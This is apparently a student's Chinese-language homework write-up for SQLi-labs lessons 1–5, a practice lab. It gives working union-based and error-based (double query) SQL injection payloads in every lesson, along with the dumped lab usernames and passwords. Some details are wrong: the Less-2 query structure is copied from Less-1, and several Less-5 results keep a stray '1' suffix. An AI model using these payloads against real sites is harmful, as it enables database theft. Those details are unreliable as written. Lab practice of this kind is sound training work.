培华安全初级 第一次作业
SQLi-labs Less1~5
通用背景知识
1.1 SQL 注入基本流程
判断注入点 → 判断注入类型 → 判断列数 → 判断回显位置 → 提取数据1.2 常用测试语句
| 用途 | 语句 |
|---|---|
| 判断注入点 | ?id=1' |
| 注释绕过 | --+或# |
| 判断列数 | ?id=1' order by N--+ |
| UNION 注入 | ?id=-1' union select 1,2,3--+ |
Less-1 Error Based - String(基于报错的字符串错误)
sql语句结构
$sql="SELECT * FROM users where id='$id' LIMIT 0,1";攻击步骤
Step 1 判断注入点
访问/?id=1访问正常;
访问/?id=1'发生错误,报错:You have an error in your SQL syntax...use near ''1'' LIMIT 0,1' at line 1,确定注入点为单引号'(id='$id')
Step 2 判断列数
?id=1' order by 3--+ ?id=1' order by 4--+order by 3正常 → 至少 3 列order by 4报错Unknown column '4' in 'order by'→ 共 3 列
Step 3: 判断回显位置
?id=-1' union select 1,2,3--+页面显示数字 2 和 3,即回显位置在第 2、3 列
Step 4 获取数据库信息
?id=-1' union select 1,version(),database()--+成功返回:Your Login name:11.8.6-MariaDB-5ubuntu0.1 from Ubuntu Your Password:security
Step 5: 提取表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+返回:
Your Login name:users,uagents,emails,referers Your Password:3Step 6: 提取列名和数据
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns WHERE table_name='users'--+ ?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+返回:
Your Login name:users,users,users,uagents,uagents,uagents,uagents,emails,emails,referers,referers,referers Your Password:3 Your Login name:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin:admin123,test:test123,user1:pass1,user2:pass2,john:john123,mike:mike123,sarah:sarah123,david:david123,emma:emma123,chris:chris123,alex:alex123,lisa:lisa123,tom:tom123,jerry:jerry123,admin2:admin456 Your Password:3Less-2 Error Based - Integer(基于报错的整数型注入)
sql语句结构
$sql="SELECT * FROM users where id='$id' LIMIT 0,1";攻击步骤
Step 1 判断注入点
访问/?id=1访问正常;
访问/?id=1'发生错误,报错:You have an error in your SQL syntax...use near '' LIMIT 0,1' at line 1,确认为整数型(id=$id)
Step 2 判断列数
?id=1 order by 3--+ ?id=1 order by 4--+Step 3 判断回显位置
?id=-1 union select 1,2,3--+Step 4 提取数据
?id=-1 union select 1,group_concat(username,0x3a,password),3 from users --+Less-3 Error Based - String (with Twist)(基于报错的字符型注入(带括号))
sql语句结构
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";攻击步骤
Step 1 判断注入点
访问/?id=1访问正常;
访问/?id=1'发生错误,报错:You have an error in your SQL syntax...use near ''1'') LIMIT 0,1' at line 1,确定注入点为')
尝试闭合括号:访问?id=1')--+,页面正常显示登录信息
Step 2 判断列数
?id=1') order by 3--+ ?id=1') order by 4--+Step 3 提取数据
?id=-1') union select 1,2,3--+ ?id=-1') union select 1,version(),database()--+ ?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+Less-4 Error Based - Double Quotes String(基于报错的字符型注入(双引号))
sql语句结构
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";攻击步骤
Step 1 判断注入点
访问/?id=1访问正常;
访问/?id=1'访问正常;
访问?id=1"发生错误,报错:You have an error in your SQL syntax...use near '"1"") LIMIT 0,1' at line 1,确定注入点为")
尝试闭合括号:访问?id=1")--+,页面正常显示登录信息
Step 2 判断列数
?id=1") order by 3--+ ?id=1") order by 4--+Step 3 提取数据
?id=-1") union select 1,2,3--+ ?id=-1") union select 1,version(),database()--+ ?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+Less-5 Double Query - Single Quotes - String(双查询注入(无显错))
sql语句结构
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";Double Query 原理
Double Query 利用了MySQL在处理GROUP BY(分组)和COUNT()(聚合函数)的bug,当MySQL执行GROUP BY时,会建立一张内部虚拟表,用于记录每个Key出现的次数。
当查询FLOOR(RAND()*2)这类动态随机值时,数据库会两次计算这个随机值:第一次检查临时表中是否存在该分组Key,第二次尝试插入该Key到临时表中。两次计算的结果大概率不一致,就会触发「重复Key冲突」的报错。
当冲突发生时,MySQL会把触发错误的分组键完整输出在错误提示里,攻击者可以提前把想要窃取的数据库敏感信息(比如库名、表名)用CONCAT()函数拼进这个分组键里,让敏感数据直接暴露在报错信息中。
Double Query 利用
当页面不显示错误信息时,可以通过以下方式间接获取数据:
SELECTcount(*)FROMinformation_schema.tablesGROUPBYconcat(version(),floor(rand(0)*2))执行后会报错并显示类似:Duplicate entry '5.7.26-1' for key 'group_key'
攻击步骤
Step 1 判断注入点
访问/,返回Please input the ID as parameter with numeric value(请以数字形式输入ID作为参数)
访问/?id=1访问,返回You are in...........
访问/?id=1'发生错误,报错:You have an error in your SQL syntax...use near ''1'' LIMIT 0,1' at line 1,确定注入点为'
Step 2 判断列数
?id=1' order by 3--+ ?id=1' order by 4--+其中3返回You are in...........,有正常返回(无显示)
4无法正常返回,页面为空
由此可判定共3列
Step 3 尝试使用 Double Query 提取版本
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+成功返回:Duplicate entry '11.8.6-MariaDB-5ubuntu0.1 from Ubuntu1' for key 'group_key'
获取到版本:11.8.6-MariaDB-5ubuntu0.1 from Ubuntu
Step 4: 提取数据库名
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+成功返回:Duplicate entry 'security1' for key 'group_key'
获取到数据库名:security1
Step 5: 提取表名
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+成功返回:Duplicate entry 'users1' for key 'group_key'
获取到表名:users1
Step 6: 提取列名
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+成功返回:Duplicate entry 'USER1' for key 'group_key'
获取到列名:USER1
Step 7: 提取数据
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT username FROM users LIMIT 0,1),0x3a,(SELECT password FROM users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+成功返回:Duplicate entry 'Dumb:Dumb1' for key 'group_key'
获取到用户名及其密码: 用户名:Dumb密码:Dumb
以此类推:修改所有的LIMIT 0,1为LIMIT 1,1、LIMIT 2,1以获取第二组、第三组用户名及其密码:
使用LIMIT 1,1成功获取Duplicate entry 'Angelina:I-kill-you1' for key 'group_key'(用户名:Angelina密码:I-kill-you)
使用LIMIT 2,1成功获取Duplicate entry 'Dummy:p@ssword1' for key 'group_key'(用户名:Dummy密码:p@ssword)